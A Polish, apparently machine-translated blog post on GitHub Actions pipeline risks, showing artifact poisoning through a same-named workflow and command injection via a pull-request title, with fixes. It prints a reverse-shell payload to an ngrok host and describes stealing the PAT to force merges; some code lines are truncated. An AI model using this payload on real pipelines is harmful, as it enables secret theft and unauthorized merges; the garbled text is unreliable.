W poprzednich postach (zobacz Pośrednio zatruty Pipeline Wykonanie I-PPE oraz Zatrute Pipeline Środki ochrony indywidualnej , zajmowaliśmy się głównie środkami ochrony indywidualnej (PPE) Pipeline Wykonanie): zobaczyliśmy jak to działa, jakie są tego skutki, jak można to wykorzystać, a także jak się przed tym chronić.
W tym poście zagłębimy się w inne CI/CD pipeline zagrożenia takie jak zatruwanie artefaktami i wstrzykiwanie kodu.
Aby to zrobić, w jakiś sposób oprzemy się na środkach ochrony indywidualnej, więc zróbmy szybkie podsumowanie tego, co dowiedzieliśmy się na temat środków ochrony indywidualnej.
Poprzednie prace nad środkami ochrony indywidualnej
Podsumowując, zaczęliśmy od podstawowego GitHub pipeline do tworzenia i testowania dostarczonego kodu za pośrednictwem pull request. Poza tym definiuje pewne kontrole, które, jeśli zostaną spełnione, połączą kod z gałęzią główną. Nazwaliśmy to Scenariusz #1.

W poprzednim poście pokazaliśmy, jak działa ta podstawowa pipeline była podatny na działanie zarówno D-PPE, jak i I-PPE.
Udało nam się napraw D-PPE by modyfikowanie zdarzenia wyzwalającego od żądanie ściągnięcia do cel_żądania_pociągnięcia, czyniąc pipeline bezpieczny dla D-PPE. Jako przypomnienie, pipelines wyzwolone przez zdarzenie pull_request_target spowoduje wykonanie bazy pipeline kod, nie pipeline kod zawarty w pull request.
Nazwaliśmy to tak Scenariusz #2.

W wyniku tej modyfikacji wykazaliśmy, że Scenariusz nr 2 nadal był podatny na działanie środków ochrony indywidualnej.
Aby to naprawić, postanowiliśmy podzielić pipeline na dwa:
- 1 pipeline (Kompilacja CI) zrobiłbym sprawdź kod PR (aby go zbudować), wykonaj kompilację i wygeneruj artefakt.
- 2nd pipeline (Test CI) zrobiłbym sprawdź kod bazowy (aby uniknąć modyfikacji skryptu powłoki) i wykonaj oryginalne skrypty na artefakcie.
- Aby zsynchronizować test CI pipeline uruchomić PO kompilacji CI pipeline, użyjemy uruchomienie przepływu pracy wyzwalacz.
Nazwaliśmy to tak Scenariusz #3.

Odzyskajmy kod obu pipelinezgodnie z tymi modyfikacjami…
1 pipeline (Kompilacja CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2 pipeline (Test CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Zatrucie artefaktem
Zgodnie z powyższym CI/CD pipelines:
- pipeline Kompilacja CI is "bezpiecznym" do obu D-ŚOI (spowodowany cel_żądania_pociągnięcia) i I-ŚOI (ponieważ nie wykonuje już skryptu powłoki).
- pipeline Test CI Jest również "bezpiecznym" do obu D-ŚOI (spowodowany uruchomienie przepływu pracy) i I-ŚOI (ponieważ pobiera kod bazowy w celu uzyskania oryginalnego skryptu powłoki)
Przyjrzyjmy się bliżej temu „rozwiązaniu”.
Pipeline Test CI pobiera artefakt jako plik zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Po rozpakowaniu uruchamiany jest „bezpieczny” skrypt powłoki. Dlaczego mówię o „bezpiecznym” skrypcie powłoki? Ponieważ w poprzednim kroku pipeline sprawdza kod „bazowy”, więc oryginalny skrypt jest umieszczany w folderze obszaru roboczego. Dlatego, gdy pipeline wykonuje skrypt powłoki, który zostanie uruchomiony przy użyciu wcześniej pobranego pliku binarnego.
Więc co to jest problem z tym podejściem? Problem pojawia się gdy jakikolwiek użytkownik „tworzy” nowy pipeline.
Jeżeli użytkownik otworzy PR zawierający nowy pipelineGitHub to wykona pipeline (biorąc pod uwagę pewne warunki, jak widzieliśmy w poprzednim pisać).
Biorąc to pod uwagę, co się stanie, jeśli użytkownik utworzy nowy pipeline o tej samej nazwie co Build CI? Tak, to zaskakujące, ale GitHub umożliwia utworzenie dwóch pipelineo tej samej nazwie!!
Pamiętaj, że Test CI zostanie wykonany po kompilacji CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Zaskakujące, bo teraz jest ich dwóch pipelines o tej samej nazwie, pipeline Test CI zostanie wykonany dwukrotnie:jeden po oryginale pipeline i inne po „nowym” pipeline.
W jaki sposób haker może to wykorzystać?
- Po pierwsze, złośliwy użytkownik może zmodyfikować skrypt powłoki, aby wysłać klucz do serwera kontrolowanego przez hakera.
- Po drugie, nowy pipeline zawiera linię do skopiowania zmodyfikowanego skryptu powłoki do artefaktu → zatrucie artefaktuct!!!
Gdy użytkownik otworzy PR z tymi zmianami, pojawi się „nowe” pipeline zostanie wykonany (przesłanie zatrutego artefaktu) i wdrożenie CI pipeline zostanie wykonany po tym, co spowoduje „zmodyfikowany” skrypt powłoki nadpisuje „oryginalny” skrypt powłoki znajdujący się w pipeline obszar roboczy.

To jest to, co nazywamy Zatrucie artefaktem, tj możliwość modyfikacji (hakowania) pipeline logika poprzez modyfikację pipeline artefakt.
Jeden możliwy remediacja jest całkiem proste: samo rozpakowanie artefaktu do podfolderu obszaru roboczego pozwoli uniknąć nadpisania podstawowego skryptu powłoki.
Wstrzyknięcie kodu
Czy oprócz zatruwania artefaktów dostrzegasz jakieś inne luki w zabezpieczeniach powyższego kodu?
Chodźmy!!
Jak widać w kodzie, pipeline Kompilacja CI buduje plik binarny i przesyła go jako pipeline artefakt i ponadto przesyła kilka dodatkowych danych: tytuł PR i identyfikator PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Dlaczego? Ponieważ aby połączyć PR, jak widać poniżej, Test CI pipeline potrzebuje identyfikatora PR, aby wywołać interfejs API REST GitHub, który scala PR.
Jak działa test CI pipeline uzyskać ten identyfikator PR? Udostępnianie informacji w plikach tekstowych (część pipeline artefakt) jest powszechnym sposobem udostępniania informacji między pipelines. I to jest właśnie to, co te pipelineco robią.
echo "Merging .."
PR_ID=$(
Ściśle rzecz biorąc, do połączenia PR potrzebny jest tylko identyfikator PR, ale pipeline administrator zdecydował, że CI kompilacji będzie zawierać również tytuł PR, więc CI testowy pipeline wydrukuje wiadomość informacyjną zawierającą identyfikator PR i tytuł.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
Tytuł PR to zawsze dane pochodzące od użytkownika i jako taki zawsze należy go uważać za niewiarygodny. Więc… pipeline należy postępować zgodnie z instrukcją i podjąć środki ostrożności.
W powyższym kodzie widzimy konkretny komunikat powtarzający tytuł PR. To po prostu polecenie „echo” w systemie Linux.
Poprzez interpolację ciągu znaków, jeśli tytuł jest „tytułem fikcyjnym”, Github generuje wewnętrznie skrypt zawierający
echo ""a dummy title""
A co jeśli tytuł PR brzmiałby mniej więcej tak:
„Złośliwy tytuł” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Scenariusz wyglądałby następująco:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Spowodowało to otwarcie odwrotnej powłoki dla serwera kontrolowanego przez hakera.

Ta odwrócona powłoka może być używana do uzyskania dostępu do pipeline sekrety (należy pamiętać, że Test CI działa w trybie uprawnień, ponieważ jest wyzwalany przez workflow_run, dzięki czemu ma dostęp do sekretów).
Ale co jeszcze można zrobić poprzez tę odwróconą powłokę?
Spójrz na kod testu CI:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Jak widać w teście CI pipelinepolecenie scalania curl korzysta z GITHUB_PAT (zdefiniowanego jako pipeline env var), więc runner zawiera GITHUB_PAT jako zmienną środowiskową. Ponadto tworzy również zmienną środowiskową odczytującą identyfikator PR.
Haker musi więc po prostu skopiować polecenie curl i wkleić je do powłoki odwrotnej, scalając żądanie żądania bezpośrednio z chronioną gałęzią.

Aby chronić to wszystko:
- Do uniknąć interpolacja ciągu z użyciem niepewnych danych (narażona na wstrzykiwanie kodu) przez definiowanie pipeline zmienne środowiskowe zamiast używać go bezpośrednio w poleceniach echo
Zamiast używać:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Użyj tego:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Nawet w przypadku wstrzyknięcia kodu polecenie scalania curl nie powiodło się, jeśli zostało wykonane prawidłowo chronił twój pull requests poprzez obowiązkową kontrolę lub zatwierdzenie.
wnioski
Jakoś trudno to ochronić CI/CD pipelines konfiguracja i uzyskać pipelinejest wolny od luk w zabezpieczeniach.
To nie znaczy, że CI/CD systemy (jak w tym przypadku GitHub) są same w sobie podatne na zagrożenia. CI/CD Systemy zapewniają środki ochrony przed lukami w zabezpieczeniach… ale to na administratorze ciąży odpowiedzialność wdrożenia tych zabezpieczeń.
Ale… Nie możesz rozwiązać problemu, jeśli nie jesteś świadomy jego istnienia!!!
Oczywiście, że wysoko wykwalifikowany administrator DevOps może mieć na uwadze wszystkie te zagrożenia i odpowiednio je chronić CI/CD pipelines, ale mimo to niezwykle cenne jest użycie produktu do wykrywania wszystkich tego typu luk w zabezpieczeniach. Oczywiście, aby zautomatyzować proces wykrywania luk (na przykład uruchamiając skanowanie w ramach CI/CD pipelines).
To podejście można nazwać „Brama bezpieczeństwa"
- Stwórz nowy pipeline (Bramka bezpieczeństwa) w celu sprawdzenia CI/CD pipelines podatności i uczynić inne CI pipelinenależy wykonać dopiero po pomyślnym zakończeniu Bramy Bezpieczeństwa pipeline.
- Brama Bezpieczeństwa pipelines sprawdzi CI/CD pipelines podatności i,
- Jeśli zostaną znalezione luki, nastąpi awaria, a co za tym idzie, inne pipelines nie zostanie wykonany.
- Jeżeli nie zostaną znalezione żadne luki, pipeline odniesie sukces i drugi pipelines zostanie wykonany jak zwykle.








